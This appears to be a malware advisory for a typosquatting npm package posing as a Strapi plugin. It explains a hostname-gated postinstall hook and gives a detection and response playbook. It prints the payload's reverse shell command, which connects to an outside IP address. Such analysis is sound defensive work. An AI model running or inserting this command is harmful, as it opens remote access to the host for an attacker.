What this malware does

[email protected] declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1", opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.

Detection & response playbook

Backdoor / remote access

  1. Find it

    Search your lockfiles and build artifacts for strapi-plugin-ccip-meeb (version 3.6.8).

  2. If you installed it — respond

    strapi-plugin-ccip-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-ccip-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
